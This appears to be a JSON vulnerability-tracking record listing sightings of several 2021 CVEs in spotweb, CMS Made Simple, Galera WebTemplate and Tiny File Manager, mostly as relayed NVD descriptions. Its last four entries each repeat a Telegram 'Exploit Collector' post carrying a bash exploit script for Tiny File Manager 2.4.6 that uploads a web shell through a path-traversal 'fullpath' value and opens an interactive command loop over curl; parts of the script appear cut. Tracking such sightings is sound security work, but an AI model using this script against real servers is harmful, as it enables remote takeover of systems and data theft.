{"vulnerability": "CVE-2021-4096", "sightings": [{"uuid": "2018bc33-7c9f-45e6-adf5-1eb4e8edea70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40969", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-40969.yaml", "content": "", "creation_timestamp": "2023-06-05T12:33:16.000000Z"}, {"uuid": "74756e43-b27d-40a9-a809-a44276115e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40968", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-40968.yaml", "content": "", "creation_timestamp": "2023-06-05T12:33:16.000000Z"}, {"uuid": "df2fdf6f-5b27-4d98-bf95-5c442d597bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lvjlb7n55e2g", "content": "", "creation_timestamp": "2025-08-03T21:02:29.722077Z"}, {"uuid": "17369cc3-6458-4c94-bd9a-7c4c80268307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "published-proof-of-concept", "source": "Telegram/04rNRtq-YvJirw2f6vBBsQj5DBNsU4NC5BG-M6leizMM-7Q", "content": "", "creation_timestamp": "2025-06-20T09:00:05.000000Z"}, {"uuid": "3d70be3c-e49a-44f0-b267-843d72026229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "published-proof-of-concept", "source": "Telegram/WbkInEHYY3kOnUccLnofEqQY0zB0xloygQFKulDWXCJgOM4", "content": "", "creation_timestamp": "2025-06-20T15:00:06.000000Z"}, {"uuid": "8f95bede-9baa-4e26-bca8-99e02007ae3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/41172", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aTiny File Manager <= 2.4.6 - Remote Code Execution (RCE)\nURL\uff1ahttps://github.com/Z3R0-0x30/CVE-2021-40964\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-06-20T05:32:52.000000Z"}, {"uuid": "84abbae9-9733-4d47-a6f1-c1cf59c05e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40961", "type": "seen", "source": "https://t.me/cibsecurity/44103", "content": "\u203c CVE-2021-40961 \u203c\n\nCMS Made Simple <=2.2.15 is affected by SQL injection in modules/News/function.admin_articlestab.php. The $sortby variable is concatenated with $query1, but it is possible to inject arbitrary SQL language without using the '.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-09T18:33:30.000000Z"}, {"uuid": "ee44bf17-8efc-4005-b9a8-515350389fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40968", "type": "seen", "source": "https://t.me/cibsecurity/29818", "content": "\u203c CVE-2021-40968 \u203c\n\nCross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword2 parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-01T20:15:29.000000Z"}, {"uuid": "3dbf7ee9-027a-4213-8b18-8e88c258e469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40969", "type": "seen", "source": "https://t.me/cibsecurity/29826", "content": "\u203c CVE-2021-40969 \u203c\n\nCross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the firstname parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-01T20:15:40.000000Z"}, {"uuid": "da585752-69ab-4a35-beb6-31b178c2a72f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40960", "type": "seen", "source": "https://t.me/cibsecurity/29807", "content": "\u203c CVE-2021-40960 \u203c\n\nGalera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-01T18:15:20.000000Z"}, {"uuid": "95251ea9-79cb-47fd-97a6-edb0f4288878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "seen", "source": "https://t.me/cibsecurity/28945", "content": "\u203c CVE-2021-40964 \u203c\n\nA Path Traversal vulnerability exists in TinyFileManager all version up to and including 2.4.6 that allows attackers to upload a file (with Admin credentials or with the CSRF vulnerability) with the \"fullpath\" parameter containing path traversal strings (../ and ..\\) in order to escape the server's intended working directory and write malicious files onto any directory on the computer.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-15T22:22:19.000000Z"}, {"uuid": "006baa0f-404d-4196-ab1b-bd7b6094c1fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40966", "type": "seen", "source": "https://t.me/cibsecurity/28953", "content": "\u203c CVE-2021-40966 \u203c\n\nA Stored XSS exists in TinyFileManager All version up to and including 2.4.6 in /tinyfilemanager.php when the server is given a file that contains HTML and javascript in its name. A malicious user can upload a file with a malicious filename containing javascript code and it will run on any user browser when they access the server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-15T22:22:28.000000Z"}, {"uuid": "9c5201c8-150b-49cb-aae1-ead9507773c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40965", "type": "seen", "source": "https://t.me/cibsecurity/28939", "content": "\u203c CVE-2021-40965 \u203c\n\nA Cross-Site Request Forgery (CSRF) vulnerability exists in TinyFileManager all version up to and including 2.4.6 that allows attackers to upload files and run OS commands by inducing the Administrator user to browse a URL controlled by an attacker.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-15T22:22:10.000000Z"}, {"uuid": "52ac6c22-81de-4121-a452-029ef0dcfd88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "seen", "source": "https://t.me/hacking_Attack/46568", "content": "Exploit Collector\nTiny File Manager 2.4.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nTiny File Manager version 2.4.6 suffers from an authenticated remote shell upload vulnerability.\n\nMD5 | 56aefa95418a94bb95e57a7450745e0e\n\nDownload\n# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)\n# Date: 14/03/2022\n# Exploit Author: FEBIN MON SAJI\n# Software Link: https://github.com/prasathmani/tinyfilemanager\n# Version: Tiny File Manager <=\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2021-40964\n# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/\n\n#!/bin/bash\n\ncheck(){\n\nwhich curl\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] Curl found! \\n\"\nelse\nprintf \"[\u274c] Curl not found! \\n\"\nexit\nfi\n\nwhich jq\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] jq found! \\n\"\nelse\nprintf \"[\u274c] jq not found! \\n\"\nexit\nfi\n}\nusage(){\n\nprintf \"\nTIny File Manager Authenticated RCE Exploit.\n\nBy FEBIN\n\n$0  /tmp/$shell\ncurl $URL?p= -X POST -s -H \"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\" -b $cookie -F \"p=\" -F \"fullpath=../../../../../../../..${webroot}/${shell}\" -F \"file=@/tmp/$shell\" | grep \"successful\"\n}\n\nexploit(){\n\nWEB_URL=$(printf \"$URL\" | tr \"/\" \"\\n\" | head --lines=-1 | tr \"\\n\" \"/\")\n\nupload\nif [ $? = 0 ]\nthen\nprintf \"[+] File Upload Successful! \\n\"\nelse\nprintf \"[-] File Upload Unsuccessful! Exiting! \\n\"\nexit 1\nfi\nprintf \"[+] Checking for the shell \\n\"\ncurl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep \"found\" >/dev/null\nif [ $? = 0 ]\nthen\nprintf \"[+] Shell found ${WEB_URL}/$shell \\n\"\nelse \nprintf \"[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \\n\"\nexit 2\nfi\n\nprintf \"[+] Getting shell access! \\n\\n\"\n\nwhile true\ndo\nprintf \"$> \"\nread cmd\ncurl  ${WEB_URL}/$shell -s -X POST -d \"cmd=${cmd}\"\ndone\n}\n\nif [ $1 ] && [ $2 ] && [ $3 ]\nthen\ncheck\nlog-in $1 $2 $3\n\nfind_webroot\nexploit\nelse\nusage\nfi\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:50.733062Z"}, {"uuid": "4bdcd9a4-879f-4fae-84d2-d47ea99c0f33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "seen", "source": "https://t.me/hacking_Attack/46568", "content": "Exploit Collector\nTiny File Manager 2.4.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nTiny File Manager version 2.4.6 suffers from an authenticated remote shell upload vulnerability.\n\nMD5 | 56aefa95418a94bb95e57a7450745e0e\n\nDownload\n# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)\n# Date: 14/03/2022\n# Exploit Author: FEBIN MON SAJI\n# Software Link: https://github.com/prasathmani/tinyfilemanager\n# Version: Tiny File Manager <=\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2021-40964\n# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/\n\n#!/bin/bash\n\ncheck(){\n\nwhich curl\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] Curl found! \\n\"\nelse\nprintf \"[\u274c] Curl not found! \\n\"\nexit\nfi\n\nwhich jq\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] jq found! \\n\"\nelse\nprintf \"[\u274c] jq not found! \\n\"\nexit\nfi\n}\nusage(){\n\nprintf \"\nTIny File Manager Authenticated RCE Exploit.\n\nBy FEBIN\n\n$0  /tmp/$shell\ncurl $URL?p= -X POST -s -H \"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\" -b $cookie -F \"p=\" -F \"fullpath=../../../../../../../..${webroot}/${shell}\" -F \"file=@/tmp/$shell\" | grep \"successful\"\n}\n\nexploit(){\n\nWEB_URL=$(printf \"$URL\" | tr \"/\" \"\\n\" | head --lines=-1 | tr \"\\n\" \"/\")\n\nupload\nif [ $? = 0 ]\nthen\nprintf \"[+] File Upload Successful! \\n\"\nelse\nprintf \"[-] File Upload Unsuccessful! Exiting! \\n\"\nexit 1\nfi\nprintf \"[+] Checking for the shell \\n\"\ncurl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep \"found\" >/dev/null\nif [ $? = 0 ]\nthen\nprintf \"[+] Shell found ${WEB_URL}/$shell \\n\"\nelse \nprintf \"[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \\n\"\nexit 2\nfi\n\nprintf \"[+] Getting shell access! \\n\\n\"\n\nwhile true\ndo\nprintf \"$> \"\nread cmd\ncurl  ${WEB_URL}/$shell -s -X POST -d \"cmd=${cmd}\"\ndone\n}\n\nif [ $1 ] && [ $2 ] && [ $3 ]\nthen\ncheck\nlog-in $1 $2 $3\n\nfind_webroot\nexploit\nelse\nusage\nfi\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:03.482142Z"}, {"uuid": "99c95785-4750-4371-b866-c157e09e9944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46568", "content": "Exploit Collector\nTiny File Manager 2.4.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nTiny File Manager version 2.4.6 suffers from an authenticated remote shell upload vulnerability.\n\nMD5 | 56aefa95418a94bb95e57a7450745e0e\n\nDownload\n# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)\n# Date: 14/03/2022\n# Exploit Author: FEBIN MON SAJI\n# Software Link: https://github.com/prasathmani/tinyfilemanager\n# Version: Tiny File Manager <=\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2021-40964\n# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/\n\n#!/bin/bash\n\ncheck(){\n\nwhich curl\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] Curl found! \\n\"\nelse\nprintf \"[\u274c] Curl not found! \\n\"\nexit\nfi\n\nwhich jq\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] jq found! \\n\"\nelse\nprintf \"[\u274c] jq not found! \\n\"\nexit\nfi\n}\nusage(){\n\nprintf \"\nTIny File Manager Authenticated RCE Exploit.\n\nBy FEBIN\n\n$0  /tmp/$shell\ncurl $URL?p= -X POST -s -H \"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\" -b $cookie -F \"p=\" -F \"fullpath=../../../../../../../..${webroot}/${shell}\" -F \"file=@/tmp/$shell\" | grep \"successful\"\n}\n\nexploit(){\n\nWEB_URL=$(printf \"$URL\" | tr \"/\" \"\\n\" | head --lines=-1 | tr \"\\n\" \"/\")\n\nupload\nif [ $? = 0 ]\nthen\nprintf \"[+] File Upload Successful! \\n\"\nelse\nprintf \"[-] File Upload Unsuccessful! Exiting! \\n\"\nexit 1\nfi\nprintf \"[+] Checking for the shell \\n\"\ncurl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep \"found\" >/dev/null\nif [ $? = 0 ]\nthen\nprintf \"[+] Shell found ${WEB_URL}/$shell \\n\"\nelse \nprintf \"[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \\n\"\nexit 2\nfi\n\nprintf \"[+] Getting shell access! \\n\\n\"\n\nwhile true\ndo\nprintf \"$> \"\nread cmd\ncurl  ${WEB_URL}/$shell -s -X POST -d \"cmd=${cmd}\"\ndone\n}\n\nif [ $1 ] && [ $2 ] && [ $3 ]\nthen\ncheck\nlog-in $1 $2 $3\n\nfind_webroot\nexploit\nelse\nusage\nfi\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T05:00:07.866446Z"}, {"uuid": "8a0f48e3-80db-4daf-a27f-3ec20a4ea14d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40964", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46568", "content": "Exploit Collector\nTiny File Manager 2.4.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nTiny File Manager version 2.4.6 suffers from an authenticated remote shell upload vulnerability.\n\nMD5 | 56aefa95418a94bb95e57a7450745e0e\n\nDownload\n# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)\n# Date: 14/03/2022\n# Exploit Author: FEBIN MON SAJI\n# Software Link: https://github.com/prasathmani/tinyfilemanager\n# Version: Tiny File Manager <=\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2021-40964\n# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/\n\n#!/bin/bash\n\ncheck(){\n\nwhich curl\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] Curl found! \\n\"\nelse\nprintf \"[\u274c] Curl not found! \\n\"\nexit\nfi\n\nwhich jq\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] jq found! \\n\"\nelse\nprintf \"[\u274c] jq not found! \\n\"\nexit\nfi\n}\nusage(){\n\nprintf \"\nTIny File Manager Authenticated RCE Exploit.\n\nBy FEBIN\n\n$0  /tmp/$shell\ncurl $URL?p= -X POST -s -H \"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\" -b $cookie -F \"p=\" -F \"fullpath=../../../../../../../..${webroot}/${shell}\" -F \"file=@/tmp/$shell\" | grep \"successful\"\n}\n\nexploit(){\n\nWEB_URL=$(printf \"$URL\" | tr \"/\" \"\\n\" | head --lines=-1 | tr \"\\n\" \"/\")\n\nupload\nif [ $? = 0 ]\nthen\nprintf \"[+] File Upload Successful! \\n\"\nelse\nprintf \"[-] File Upload Unsuccessful! Exiting! \\n\"\nexit 1\nfi\nprintf \"[+] Checking for the shell \\n\"\ncurl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep \"found\" >/dev/null\nif [ $? = 0 ]\nthen\nprintf \"[+] Shell found ${WEB_URL}/$shell \\n\"\nelse \nprintf \"[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \\n\"\nexit 2\nfi\n\nprintf \"[+] Getting shell access! \\n\\n\"\n\nwhile true\ndo\nprintf \"$> \"\nread cmd\ncurl  ${WEB_URL}/$shell -s -X POST -d \"cmd=${cmd}\"\ndone\n}\n\nif [ $1 ] && [ $2 ] && [ $3 ]\nthen\ncheck\nlog-in $1 $2 $3\n\nfind_webroot\nexploit\nelse\nusage\nfi\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:34.343069Z"}]}